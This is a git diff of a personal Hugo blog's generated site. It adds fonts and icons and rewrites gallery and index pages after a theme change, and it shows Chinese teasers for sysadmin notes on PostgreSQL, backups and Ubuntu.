a/public/font/LatoLatin-LightItalic.woff b/public/font/LatoLatin-LightItalic.woff new file mode 100644 index 00000000..bb72fd22 Binary files /dev/null and b/public/font/LatoLatin-LightItalic.woff differ diff --git a/public/font/LatoLatin-LightItalic.woff2 b/public/font/LatoLatin-LightItalic.woff2 new file mode 100644 index 00000000..fc214326 Binary files /dev/null and b/public/font/LatoLatin-LightItalic.woff2 differ diff --git a/public/font/LatoLatin-Medium.eot b/public/font/LatoLatin-Medium.eot new file mode 100644 index 00000000..34041da6 Binary files /dev/null and b/public/font/LatoLatin-Medium.eot differ diff --git a/public/font/LatoLatin-Medium.ttf b/public/font/LatoLatin-Medium.ttf new file mode 100644 index 00000000..7ebafb48 Binary files /dev/null and b/public/font/LatoLatin-Medium.ttf differ diff --git a/public/font/LatoLatin-Medium.woff b/public/font/LatoLatin-Medium.woff new file mode 100644 index 00000000..a430a4f7 Binary files /dev/null and b/public/font/LatoLatin-Medium.woff differ diff --git a/public/font/LatoLatin-Medium.woff2 b/public/font/LatoLatin-Medium.woff2 new file mode 100644 index 00000000..20251fe8 Binary files /dev/null and b/public/font/LatoLatin-Medium.woff2 differ diff --git a/public/font/LatoLatin-MediumItalic.eot b/public/font/LatoLatin-MediumItalic.eot new file mode 100644 index 00000000..2f87d5c2 Binary files /dev/null and b/public/font/LatoLatin-MediumItalic.eot differ diff --git a/public/font/LatoLatin-MediumItalic.ttf b/public/font/LatoLatin-MediumItalic.ttf new file mode 100644 index 00000000..6f929df2 Binary files /dev/null and b/public/font/LatoLatin-MediumItalic.ttf differ diff --git a/public/font/LatoLatin-MediumItalic.woff b/public/font/LatoLatin-MediumItalic.woff new file mode 100644 index 00000000..ab7bbc8e Binary files /dev/null and b/public/font/LatoLatin-MediumItalic.woff differ diff --git a/public/font/LatoLatin-MediumItalic.woff2 b/public/font/LatoLatin-MediumItalic.woff2 new file mode 100644 index 00000000..1a3a3f11 Binary files /dev/null and b/public/font/LatoLatin-MediumItalic.woff2 differ diff --git a/public/font/LatoLatin-Regular.eot b/public/font/LatoLatin-Regular.eot new file mode 100644 index 00000000..96a90359 Binary files /dev/null and b/public/font/LatoLatin-Regular.eot differ diff --git a/public/font/LatoLatin-Regular.ttf b/public/font/LatoLatin-Regular.ttf new file mode 100644 index 00000000..bcc57780 Binary files /dev/null and b/public/font/LatoLatin-Regular.ttf differ diff --git a/public/font/LatoLatin-Regular.woff b/public/font/LatoLatin-Regular.woff new file mode 100644 index 00000000..bf73a6d9 Binary files /dev/null and b/public/font/LatoLatin-Regular.woff differ diff --git a/public/font/LatoLatin-Regular.woff2 b/public/font/LatoLatin-Regular.woff2 new file mode 100644 index 00000000..a4d084bf Binary files /dev/null and b/public/font/LatoLatin-Regular.woff2 differ diff --git a/public/font/LatoLatin-Semibold.eot b/public/font/LatoLatin-Semibold.eot new file mode 100644 index 00000000..e97f7b59 Binary files /dev/null and b/public/font/LatoLatin-Semibold.eot differ diff --git a/public/font/LatoLatin-Semibold.ttf b/public/font/LatoLatin-Semibold.ttf new file mode 100644 index 00000000..b9481d17 Binary files /dev/null and b/public/font/LatoLatin-Semibold.ttf differ diff --git a/public/font/LatoLatin-Semibold.woff b/public/font/LatoLatin-Semibold.woff new file mode 100644 index 00000000..5e228979 Binary files /dev/null and b/public/font/LatoLatin-Semibold.woff differ diff --git a/public/font/LatoLatin-Semibold.woff2 b/public/font/LatoLatin-Semibold.woff2 new file mode 100644 index 00000000..1861c242 Binary files /dev/null and b/public/font/LatoLatin-Semibold.woff2 differ diff --git a/public/font/LatoLatin-SemiboldItalic.eot b/public/font/LatoLatin-SemiboldItalic.eot new file mode 100644 index 00000000..4918fbf4 Binary files /dev/null and b/public/font/LatoLatin-SemiboldItalic.eot differ diff --git a/public/font/LatoLatin-SemiboldItalic.ttf b/public/font/LatoLatin-SemiboldItalic.ttf new file mode 100644 index 00000000..d715514e Binary files /dev/null and b/public/font/LatoLatin-SemiboldItalic.ttf differ diff --git a/public/font/LatoLatin-SemiboldItalic.woff b/public/font/LatoLatin-SemiboldItalic.woff new file mode 100644 index 00000000..ae27f2fe Binary files /dev/null and b/public/font/LatoLatin-SemiboldItalic.woff differ diff --git a/public/font/LatoLatin-SemiboldItalic.woff2 b/public/font/LatoLatin-SemiboldItalic.woff2 new file mode 100644 index 00000000..da182417 Binary files /dev/null and b/public/font/LatoLatin-SemiboldItalic.woff2 differ diff --git a/public/font/LatoLatin-Thin.eot b/public/font/LatoLatin-Thin.eot new file mode 100644 index 00000000..2e9ac8d3 Binary files /dev/null and b/public/font/LatoLatin-Thin.eot differ diff --git a/public/font/LatoLatin-Thin.ttf b/public/font/LatoLatin-Thin.ttf new file mode 100644 index 00000000..7752047b Binary files /dev/null and b/public/font/LatoLatin-Thin.ttf differ diff --git a/public/font/LatoLatin-Thin.woff b/public/font/LatoLatin-Thin.woff new file mode 100644 index 00000000..431e4a70 Binary files /dev/null and b/public/font/LatoLatin-Thin.woff differ diff --git a/public/font/LatoLatin-Thin.woff2 b/public/font/LatoLatin-Thin.woff2 new file mode 100644 index 00000000..3f0cc908 Binary files /dev/null and b/public/font/LatoLatin-Thin.woff2 differ diff --git a/public/font/LatoLatin-ThinItalic.eot b/public/font/LatoLatin-ThinItalic.eot new file mode 100644 index 00000000..01a762e6 Binary files /dev/null and b/public/font/LatoLatin-ThinItalic.eot differ diff --git a/public/font/LatoLatin-ThinItalic.ttf b/public/font/LatoLatin-ThinItalic.ttf new file mode 100644 index 00000000..34f99baf Binary files /dev/null and b/public/font/LatoLatin-ThinItalic.ttf differ diff --git a/public/font/LatoLatin-ThinItalic.woff b/public/font/LatoLatin-ThinItalic.woff new file mode 100644 index 00000000..72902b4e Binary files /dev/null and b/public/font/LatoLatin-ThinItalic.woff differ diff --git a/public/font/LatoLatin-ThinItalic.woff2 b/public/font/LatoLatin-ThinItalic.woff2 new file mode 100644 index 00000000..caafd60b Binary files /dev/null and b/public/font/LatoLatin-ThinItalic.woff2 differ diff --git a/public/fonts/.gitkeep b/public/fonts/.gitkeep new file mode 100644 index 00000000..e69de29b diff --git a/public/fonts/Metropolis-Light.woff b/public/fonts/Metropolis-Light.woff new file mode 100755 index 00000000..7bdd5d9f Binary files /dev/null and b/public/fonts/Metropolis-Light.woff differ diff --git a/public/fonts/Metropolis-Light.woff2 b/public/fonts/Metropolis-Light.woff2 new file mode 100755 index 00000000..3b20f072 Binary files /dev/null and b/public/fonts/Metropolis-Light.woff2 differ diff --git a/public/fonts/Metropolis-LightItalic.woff b/public/fonts/Metropolis-LightItalic.woff new file mode 100755 index 00000000..9dbe5708 Binary files /dev/null and b/public/fonts/Metropolis-LightItalic.woff differ diff --git a/public/fonts/Metropolis-LightItalic.woff2 b/public/fonts/Metropolis-LightItalic.woff2 new file mode 100755 index 00000000..f3c0e409 Binary files /dev/null and b/public/fonts/Metropolis-LightItalic.woff2 differ diff --git a/public/fonts/Metropolis-Medium.woff b/public/fonts/Metropolis-Medium.woff new file mode 100755 index 00000000..90cb752a Binary files /dev/null and b/public/fonts/Metropolis-Medium.woff differ diff --git a/public/fonts/Metropolis-Medium.woff2 b/public/fonts/Metropolis-Medium.woff2 new file mode 100755 index 00000000..d5aabb6e Binary files /dev/null and b/public/fonts/Metropolis-Medium.woff2 differ diff --git a/public/fonts/Metropolis-MediumItalic.woff b/public/fonts/Metropolis-MediumItalic.woff new file mode 100755 index 00000000..34335d64 Binary files /dev/null and b/public/fonts/Metropolis-MediumItalic.woff differ diff --git a/public/fonts/Metropolis-MediumItalic.woff2 b/public/fonts/Metropolis-MediumItalic.woff2 new file mode 100755 index 00000000..506fb07b Binary files /dev/null and b/public/fonts/Metropolis-MediumItalic.woff2 differ diff --git a/public/fonts/Metropolis-Regular.woff b/public/fonts/Metropolis-Regular.woff new file mode 100755 index 00000000..312202cf Binary files /dev/null and b/public/fonts/Metropolis-Regular.woff differ diff --git a/public/fonts/Metropolis-Regular.woff2 b/public/fonts/Metropolis-Regular.woff2 new file mode 100755 index 00000000..40417bff Binary files /dev/null and b/public/fonts/Metropolis-Regular.woff2 differ diff --git a/public/fonts/Metropolis-RegularItalic.woff b/public/fonts/Metropolis-RegularItalic.woff new file mode 100755 index 00000000..63846f94 Binary files /dev/null and b/public/fonts/Metropolis-RegularItalic.woff differ diff --git a/public/fonts/Metropolis-RegularItalic.woff2 b/public/fonts/Metropolis-RegularItalic.woff2 new file mode 100755 index 00000000..956e0adb Binary files /dev/null and b/public/fonts/Metropolis-RegularItalic.woff2 differ diff --git a/public/fonts/Metropolis-Thin.woff b/public/fonts/Metropolis-Thin.woff new file mode 100755 index 00000000..54987c4d Binary files /dev/null and b/public/fonts/Metropolis-Thin.woff differ diff --git a/public/fonts/Metropolis-Thin.woff2 b/public/fonts/Metropolis-Thin.woff2 new file mode 100755 index 00000000..0c370707 Binary files /dev/null and b/public/fonts/Metropolis-Thin.woff2 differ diff --git a/public/fonts/Metropolis-ThinItalic.woff b/public/fonts/Metropolis-ThinItalic.woff new file mode 100755 index 00000000..411634e6 Binary files /dev/null and b/public/fonts/Metropolis-ThinItalic.woff differ diff --git a/public/fonts/Metropolis-ThinItalic.woff2 b/public/fonts/Metropolis-ThinItalic.woff2 new file mode 100755 index 00000000..85491c2e Binary files /dev/null and b/public/fonts/Metropolis-ThinItalic.woff2 differ diff --git a/public/fonts/academicons.eot b/public/fonts/academicons.eot new file mode 100644 index 00000000..92ef4af3 Binary files /dev/null and b/public/fonts/academicons.eot differ diff --git a/public/fonts/academicons.svg b/public/fonts/academicons.svg new file mode 100644 index 00000000..86b51a35 --- /dev/null +++ b/public/fonts/academicons.svg @@ -0,0 +1,92 @@ + + + + + + +{ + "fontFamily": "academicons", + "majorVersion": 1, + "minorVersion": 8, + "copyright": "James Walsh", + "license": "SIL OFL 1.1", + "licenseURL": "http://scripts.sil.org/OFL", + "designerURL": "http://jpswalsh.com", + "description": "Font icons for academic websites.\nFont generated by IcoMoon.", + "version": "Version 1.8", + "fontId": "academicons", + "psName": "academicons", + "subFamily": "Regular", + "fullName": "academicons" +} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/fonts/academicons.ttf b/public/fonts/academicons.ttf new file mode 100644 index 00000000..330b150d Binary files /dev/null and b/public/fonts/academicons.ttf differ diff --git a/public/fonts/academicons.woff b/public/fonts/academicons.woff new file mode 100644 index 00000000..ba4de099 Binary files /dev/null and b/public/fonts/academicons.woff differ diff --git a/public/fonts/cookie-v10-latin-regular.woff b/public/fonts/cookie-v10-latin-regular.woff new file mode 100644 index 00000000..878a183f Binary files /dev/null and b/public/fonts/cookie-v10-latin-regular.woff differ diff --git a/public/fonts/cookie-v10-latin-regular.woff2 b/public/fonts/cookie-v10-latin-regular.woff2 new file mode 100644 index 00000000..cc4872be Binary files /dev/null and b/public/fonts/cookie-v10-latin-regular.woff2 differ diff --git a/public/fonts/hanskendrick-regular-webfont.woff b/public/fonts/hanskendrick-regular-webfont.woff new file mode 100644 index 00000000..f4e4300a Binary files /dev/null and b/public/fonts/hanskendrick-regular-webfont.woff differ diff --git a/public/fonts/hanskendrick-regular-webfont.woff2 b/public/fonts/hanskendrick-regular-webfont.woff2 new file mode 100644 index 00000000..85793ca8 Binary files /dev/null and b/public/fonts/hanskendrick-regular-webfont.woff2 differ diff --git a/public/gallery/index.html b/public/gallery/index.html index 0c51b4a5..0d45face 100644 --- a/public/gallery/index.html +++ b/public/gallery/index.html @@ -1,308 +1,18 @@ - - - - - - - - - - - Galleries | MCの飄狂山莊㊣ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

MCの飄狂山莊㊣

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
-
- - -
- - - -
- - - - - - - - -
- - - -
- - - -
- - - -
- - - - - - - - - + + + + + + + + Galleries | MCの飄狂山莊㊣ + + + + + + + + + +
+ + +
+
+ +
+
+

Galleries

+ +
+
+ +
+ +
+ +
+
+ - - - - - - - - - - - - - - - - - - - - - - - - +
+
+ +
+ + \ No newline at end of file diff --git a/public/gallery/index.xml b/public/gallery/index.xml index a20bc1d9..3d732d76 100644 --- a/public/gallery/index.xml +++ b/public/gallery/index.xml @@ -1,10 +1,11 @@ - Galleries on MCの飄狂山莊㊣ + Galleries on MC部落 https://h.cowbay.org/gallery/ - Recent content in Galleries on MCの飄狂山莊㊣ + Recent content in Galleries on MC部落 Hugo -- gohugo.io + en-us Mon, 05 Nov 2018 07:46:53 +0800 diff --git a/themes/public/gallery/page/1/index.html b/public/gallery/page/1/index.xml/index.html similarity index 100% rename from themes/public/gallery/page/1/index.html rename to public/gallery/page/1/index.xml/index.html diff --git a/public/gallery/page/2/index.html b/public/gallery/page/2/index.html new file mode 100644 index 00000000..b87c8582 --- /dev/null +++ b/public/gallery/page/2/index.html @@ -0,0 +1,721 @@ + + + + +Galleries - MCの飄狂山莊㊣ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+
+ +
+ +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ + Eric Chang + +
+
+ + + + +

工作上常會需要用ssh登入遠端主機檢查LOG,有必要的時候,還要把log複製回本機來處理。

+
+ +
    + + + +
  • + +
  • + + + + + +
  • + +
  • + + +
+ +
+
+ + + + + + + + +
+
+ + + + +
+
+

+
+

+
+ +
+
+
+ +
+ + +
+ + + + + + + + + + + +
+ + diff --git a/public/gallery/page/3/index.html b/public/gallery/page/3/index.html new file mode 100644 index 00000000..ba7969fa --- /dev/null +++ b/public/gallery/page/3/index.html @@ -0,0 +1,688 @@ + + + + +Galleries - MCの飄狂山莊㊣ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+
+ +
+ +
+ +
+ + + + + + + + + + + + + + + + + + + + +
+
+ +
+ + Eric Chang + +
+
+ + + + +

最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

+
+ + + +
+
+ + + + + + + + + + + + + + +
+
+ + + + +
+
+

+
+

+
+ +
+
+
+ +
+ + +
+ + + + + + + + + + + +
+ + diff --git a/public/gallery/page/4/index.html b/public/gallery/page/4/index.html new file mode 100644 index 00000000..1f501fc1 --- /dev/null +++ b/public/gallery/page/4/index.html @@ -0,0 +1,745 @@ + + + + +Galleries - MCの飄狂山莊㊣ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+
+ +
+ +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ + Eric Chang + +
+
+ + + + +

最近在重新規劃前人留下的backup爛攤子 +各個伺服器統一備份到一台backup storage +想說如果每天能夠看到backup storage的磁碟用量的話 +就可以抓出備份空間成長速度、推估需要多大的磁碟空間 +找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 +基本上可以滿足我的需求

+
+ +
    + + + +
  • + +
  • + + + + + +
  • + +
  • + + +
+ +
+
+ + +
+
+
+ +

Bookstack Docker

+ + +
+
+ + Eric Chang + +
+
+ + + + +

Bookstack 是一套非常好用的線上”筆記”系統

+ +
+ + + + + + + + +
+
+ + + + +
+
+

+
+

+
+ +
+
+
+ +
+ + +
+ + + + + + + + + + + +
+ + diff --git a/public/gallery/sammy93/index.html b/public/gallery/sammy93/index.html index fd3d36ff..f7d140fc 100644 --- a/public/gallery/sammy93/index.html +++ b/public/gallery/sammy93/index.html @@ -1,163 +1,434 @@ - - - - - - - - - - - Sammy93 | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + Sammy93 + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Skip to content + + +
+ + + + + + +
- - - + +
+ + + - +
+

+ + MC部落 + +

+ + +

What’s the Worst That Could Happen?

+ + + +
+ +

© 2018 Göran Svensson

+ +

Nederburg Hugo Theme by Appernetic.

+ +

A port of Tracks by Compete Themes.

+ +
+
+
+ + + - + diff --git a/public/icons/16.png b/public/icons/16.png new file mode 100644 index 00000000..ace090a1 Binary files /dev/null and b/public/icons/16.png differ diff --git a/public/icons/192.png b/public/icons/192.png new file mode 100644 index 00000000..a5fb88b6 Binary files /dev/null and b/public/icons/192.png differ diff --git a/public/icons/32.png b/public/icons/32.png new file mode 100644 index 00000000..9609282d Binary files /dev/null and b/public/icons/32.png differ diff --git a/public/icons/48.png b/public/icons/48.png new file mode 100644 index 00000000..eaea60c7 Binary files /dev/null and b/public/icons/48.png differ diff --git a/public/icons/512.png b/public/icons/512.png new file mode 100644 index 00000000..3fecdf1d Binary files /dev/null and b/public/icons/512.png differ diff --git a/public/icons/icon-128x128.png b/public/icons/icon-128x128.png new file mode 100644 index 00000000..072b24a7 Binary files /dev/null and b/public/icons/icon-128x128.png differ diff --git a/public/icons/icon-144x144.png b/public/icons/icon-144x144.png new file mode 100644 index 00000000..bef97246 Binary files /dev/null and b/public/icons/icon-144x144.png differ diff --git a/public/icons/icon-152x152.png b/public/icons/icon-152x152.png new file mode 100644 index 00000000..ae87e34d Binary files /dev/null and b/public/icons/icon-152x152.png differ diff --git a/public/icons/icon-16x16.png b/public/icons/icon-16x16.png new file mode 100644 index 00000000..08fd4d80 Binary files /dev/null and b/public/icons/icon-16x16.png differ diff --git a/public/icons/icon-192x192.png b/public/icons/icon-192x192.png new file mode 100644 index 00000000..589d5eb9 Binary files /dev/null and b/public/icons/icon-192x192.png differ diff --git a/public/icons/icon-256x256.png b/public/icons/icon-256x256.png new file mode 100644 index 00000000..a42e6cf7 Binary files /dev/null and b/public/icons/icon-256x256.png differ diff --git a/public/icons/icon-32x32.png b/public/icons/icon-32x32.png new file mode 100644 index 00000000..a475643c Binary files /dev/null and b/public/icons/icon-32x32.png differ diff --git a/public/icons/icon-512x512.png b/public/icons/icon-512x512.png new file mode 100644 index 00000000..0f0ab849 Binary files /dev/null and b/public/icons/icon-512x512.png differ diff --git a/public/images b/public/images.bak similarity index 100% rename from public/images rename to public/images.bak diff --git a/public/images/author.jpg b/public/images/author.jpg new file mode 100644 index 00000000..dc4fd38d Binary files /dev/null and b/public/images/author.jpg differ diff --git a/public/images/banner-img.png b/public/images/banner-img.png new file mode 100644 index 00000000..3470d457 Binary files /dev/null and b/public/images/banner-img.png differ diff --git a/public/images/contact.jpg b/public/images/contact.jpg new file mode 100644 index 00000000..243255bf Binary files /dev/null and b/public/images/contact.jpg differ diff --git a/public/images/featured-post/post-1.jpg b/public/images/featured-post/post-1.jpg new file mode 100644 index 00000000..a68eb959 Binary files /dev/null and b/public/images/featured-post/post-1.jpg differ diff --git a/public/images/featured-post/post-2.jpg b/public/images/featured-post/post-2.jpg new file mode 100644 index 00000000..81326def Binary files /dev/null and b/public/images/featured-post/post-2.jpg differ diff --git a/public/images/featured-post/post-3.jpg b/public/images/featured-post/post-3.jpg new file mode 100644 index 00000000..b1525858 Binary files /dev/null and b/public/images/featured-post/post-3.jpg differ diff --git a/public/images/featured-post/post-4.jpg b/public/images/featured-post/post-4.jpg new file mode 100644 index 00000000..06370df8 Binary files /dev/null and b/public/images/featured-post/post-4.jpg differ diff --git a/public/images/featured-post/post-5.jpg b/public/images/featured-post/post-5.jpg new file mode 100644 index 00000000..12adafed Binary files /dev/null and b/public/images/featured-post/post-5.jpg differ diff --git a/public/images/logo.png b/public/images/logo.png new file mode 100644 index 00000000..9f3e79d1 Binary files /dev/null and b/public/images/logo.png differ diff --git a/public/images/masonary-post/post-1.jpg b/public/images/masonary-post/post-1.jpg new file mode 100644 index 00000000..542c1d9d Binary files /dev/null and b/public/images/masonary-post/post-1.jpg differ diff --git a/public/images/masonary-post/post-10.jpg b/public/images/masonary-post/post-10.jpg new file mode 100644 index 00000000..e7bc99ef Binary files /dev/null and b/public/images/masonary-post/post-10.jpg differ diff --git a/public/images/masonary-post/post-11.jpg b/public/images/masonary-post/post-11.jpg new file mode 100644 index 00000000..0afb1dd1 Binary files /dev/null and b/public/images/masonary-post/post-11.jpg differ diff --git a/public/images/masonary-post/post-12.jpg b/public/images/masonary-post/post-12.jpg new file mode 100644 index 00000000..93ad6415 Binary files /dev/null and b/public/images/masonary-post/post-12.jpg differ diff --git a/public/images/masonary-post/post-2.jpg b/public/images/masonary-post/post-2.jpg new file mode 100644 index 00000000..db145c1b Binary files /dev/null and b/public/images/masonary-post/post-2.jpg differ diff --git a/public/images/masonary-post/post-3.jpg b/public/images/masonary-post/post-3.jpg new file mode 100644 index 00000000..bbc9476f Binary files /dev/null and b/public/images/masonary-post/post-3.jpg differ diff --git a/public/images/masonary-post/post-4.jpg b/public/images/masonary-post/post-4.jpg new file mode 100644 index 00000000..87f00977 Binary files /dev/null and b/public/images/masonary-post/post-4.jpg differ diff --git a/public/images/masonary-post/post-5.jpg b/public/images/masonary-post/post-5.jpg new file mode 100644 index 00000000..a54d88bd Binary files /dev/null and b/public/images/masonary-post/post-5.jpg differ diff --git a/public/images/masonary-post/post-6.jpg b/public/images/masonary-post/post-6.jpg new file mode 100644 index 00000000..0f120f38 Binary files /dev/null and b/public/images/masonary-post/post-6.jpg differ diff --git a/public/images/masonary-post/post-7.jpg b/public/images/masonary-post/post-7.jpg new file mode 100644 index 00000000..62bc09e3 Binary files /dev/null and b/public/images/masonary-post/post-7.jpg differ diff --git a/public/images/masonary-post/post-8.jpg b/public/images/masonary-post/post-8.jpg new file mode 100644 index 00000000..71e27dfc Binary files /dev/null and b/public/images/masonary-post/post-8.jpg differ diff --git a/public/images/masonary-post/post-9.jpg b/public/images/masonary-post/post-9.jpg new file mode 100644 index 00000000..c9204653 Binary files /dev/null and b/public/images/masonary-post/post-9.jpg differ diff --git a/public/images/post-default-1.jpg b/public/images/post-default-1.jpg new file mode 100644 index 00000000..ccf4fa55 Binary files /dev/null and b/public/images/post-default-1.jpg differ diff --git a/public/images/post-default-10.jpg b/public/images/post-default-10.jpg new file mode 100644 index 00000000..5a830941 Binary files /dev/null and b/public/images/post-default-10.jpg differ diff --git a/public/images/post-default-11.jpg b/public/images/post-default-11.jpg new file mode 100644 index 00000000..c6489c7e Binary files /dev/null and b/public/images/post-default-11.jpg differ diff --git a/public/images/post-default-12.jpg b/public/images/post-default-12.jpg new file mode 100644 index 00000000..e90ea020 Binary files /dev/null and b/public/images/post-default-12.jpg differ diff --git a/public/images/post-default-13.jpg b/public/images/post-default-13.jpg new file mode 100644 index 00000000..55109e14 Binary files /dev/null and b/public/images/post-default-13.jpg differ diff --git a/public/images/post-default-14.jpg b/public/images/post-default-14.jpg new file mode 100644 index 00000000..3d5ce83d Binary files /dev/null and b/public/images/post-default-14.jpg differ diff --git a/public/images/post-default-15.jpg b/public/images/post-default-15.jpg new file mode 100644 index 00000000..7881e522 Binary files /dev/null and b/public/images/post-default-15.jpg differ diff --git a/public/images/post-default-16.jpg b/public/images/post-default-16.jpg new file mode 100644 index 00000000..fe42f0ee Binary files /dev/null and b/public/images/post-default-16.jpg differ diff --git a/public/images/post-default-17.jpg b/public/images/post-default-17.jpg new file mode 100644 index 00000000..7d865358 Binary files /dev/null and b/public/images/post-default-17.jpg differ diff --git a/public/images/post-default-18.jpg b/public/images/post-default-18.jpg new file mode 100644 index 00000000..131496ed Binary files /dev/null and b/public/images/post-default-18.jpg differ diff --git a/public/images/post-default-19.jpg b/public/images/post-default-19.jpg new file mode 100644 index 00000000..0f5d22cc Binary files /dev/null and b/public/images/post-default-19.jpg differ diff --git a/public/images/post-default-2.jpg b/public/images/post-default-2.jpg new file mode 100644 index 00000000..07635212 Binary files /dev/null and b/public/images/post-default-2.jpg differ diff --git a/public/images/post-default-3.jpg b/public/images/post-default-3.jpg new file mode 100644 index 00000000..e0a3c5e2 Binary files /dev/null and b/public/images/post-default-3.jpg differ diff --git a/public/images/post-default-4.jpg b/public/images/post-default-4.jpg new file mode 100644 index 00000000..fd1b1cd5 Binary files /dev/null and b/public/images/post-default-4.jpg differ diff --git a/public/images/post-default-5.jpg b/public/images/post-default-5.jpg new file mode 100644 index 00000000..fca7f660 Binary files /dev/null and b/public/images/post-default-5.jpg differ diff --git a/public/images/post-default-6.jpg b/public/images/post-default-6.jpg new file mode 100644 index 00000000..510b5fc7 Binary files /dev/null and b/public/images/post-default-6.jpg differ diff --git a/public/images/post-default-7.jpg b/public/images/post-default-7.jpg new file mode 100644 index 00000000..de8129ca Binary files /dev/null and b/public/images/post-default-7.jpg differ diff --git a/public/images/post-default-8.jpg b/public/images/post-default-8.jpg new file mode 100644 index 00000000..2aae18ea Binary files /dev/null and b/public/images/post-default-8.jpg differ diff --git a/public/images/post-default-9.jpg b/public/images/post-default-9.jpg new file mode 100644 index 00000000..e415c983 Binary files /dev/null and b/public/images/post-default-9.jpg differ diff --git a/public/images/post-img.jpg b/public/images/post-img.jpg new file mode 100644 index 00000000..6e206c91 Binary files /dev/null and b/public/images/post-img.jpg differ diff --git a/public/images/post-single.jpg b/public/images/post-single.jpg new file mode 100644 index 00000000..c3343427 Binary files /dev/null and b/public/images/post-single.jpg differ diff --git a/public/img/404.png b/public/img/404.png new file mode 100644 index 00000000..540667f0 Binary files /dev/null and b/public/img/404.png differ diff --git a/public/img/avatar-ex.svg b/public/img/avatar-ex.svg new file mode 100644 index 00000000..7e5d0528 --- /dev/null +++ b/public/img/avatar-ex.svg @@ -0,0 +1,112 @@ + + + + avataaar + Created with Sketch. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/img/avatar.jpg b/public/img/avatar.jpg new file mode 100644 index 00000000..e2f6d461 Binary files /dev/null and b/public/img/avatar.jpg differ diff --git a/public/img/avatar.png b/public/img/avatar.png new file mode 100644 index 00000000..c1eb30f3 Binary files /dev/null and b/public/img/avatar.png differ diff --git a/public/img/cover.jpg b/public/img/cover.jpg new file mode 100644 index 00000000..f7ac967e Binary files /dev/null and b/public/img/cover.jpg differ diff --git a/public/img/default1.jpg b/public/img/default1.jpg new file mode 100644 index 00000000..af107ada Binary files /dev/null and b/public/img/default1.jpg differ diff --git a/public/img/default2.jpg b/public/img/default2.jpg new file mode 100644 index 00000000..0af0540a Binary files /dev/null and b/public/img/default2.jpg differ diff --git a/public/img/default3.jpg b/public/img/default3.jpg new file mode 100644 index 00000000..8697a37d Binary files /dev/null and b/public/img/default3.jpg differ diff --git a/public/img/default4.jpg b/public/img/default4.jpg new file mode 100644 index 00000000..2f8c8e79 Binary files /dev/null and b/public/img/default4.jpg differ diff --git a/public/img/default5.jpg b/public/img/default5.jpg new file mode 100644 index 00000000..39ad2bc5 Binary files /dev/null and b/public/img/default5.jpg differ diff --git a/public/img/default6.jpg b/public/img/default6.jpg new file mode 100644 index 00000000..c68ac2e0 Binary files /dev/null and b/public/img/default6.jpg differ diff --git a/public/img/favicon.ico b/public/img/favicon.ico new file mode 100644 index 00000000..1f79cdd5 Binary files /dev/null and b/public/img/favicon.ico differ diff --git a/public/img/grey-cloud.jpg b/public/img/grey-cloud.jpg new file mode 100644 index 00000000..eb8a20b2 Binary files /dev/null and b/public/img/grey-cloud.jpg differ diff --git a/public/index.html b/public/index.html index c8101370..552fafad 100644 --- a/public/index.html +++ b/public/index.html @@ -1,1150 +1,808 @@ - - - - - - - - - - - What’s the Worst That Could Happen? | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + + MC部落 - What’s the Worst That Could Happen? + + + + + + + + + + + + + + + + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

MCの飄狂山莊㊣

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
-
+ + + -
- + +
+ Skip to content + - +
- - - - 筆記 - - - - - - Eric Chang - -
+ +

Posts

+
+ + + + -

很久以前就有看到這個用來備份postgresql 的 pgbarman

- -

https://www.pgbarman.org/

- -

前幾天老闆在slack 上面又提到,所以這次就花了點時間來玩玩看

- -

不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的…

+ + + + +
+ + + + + + + +
+
+ 14 October + + + + / + + + + + + + + + + / + + 筆記 + + +
+ +
+ +
+
+
+ + + + + + + + +
+ + + + + + + +
+
+ 04 October + + + + / + + + + + + + + + + / + + + + +
+ +
+
+

這兩天在找關於在 ubuntu 中做搜尋的軟體

-

+

意外找到一個非常好用的工具 ulauncher

- - - - -
+ + +
+
+
+ + + + + + + + +
+ + + + + + + +
+
+ 20 September + + + + / + + + + + + + + + + / + + 筆記 + + +
+ +
+
+

最近都在弄postgresql

- - +

感覺挺不錯的,看起來設定很簡單,雖然之前已經測試了 keepalived 做 HA

-
+

不過,反正當作練功嘛,多測試一套也不錯!

- -
+ + +
+
+
+ + + + + + + + +
+ + + + + + + +
+
+ 10 September + + + + / + + + + + + + + + + / + + 筆記 + + +
+ +
+
+

前幾天在淘寶上買了個 SSK 的USB 3.1 Gen2 (type-c) NVME SSD 外接盒 +手邊也剛好有一條多的intel 600p nvme ssd 就順手來做個比較 +目標是看看有沒有可能直接用外接的SSD來跑postgresql

- - -
- - - - + +
+
+
+
+ + + + + + + + +
+ + + + + + + +
+
+ 06 September + + + + / + + + + + + + + + + / + + 筆記 + + +
+ +
+
+
+
+ +
+ + + + - - - - - 筆記 - - - - - Eric Chang -
+
+

-

因為老闆說要試試看用GPU 來跑postgresql 威力

- -

手邊剛好有一張 geforce gt 720

- -

一開始沒想太多,看到有這張卡的驅動程式,然後CUDA也有支援

- -

就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了…

- -

- - - - - - - - -

- - + +

What’s the Worst That Could Happen?

+ - + -
- - +
- +
  • + +
  • - - -
    - - - - - -
    - - - - -
    -

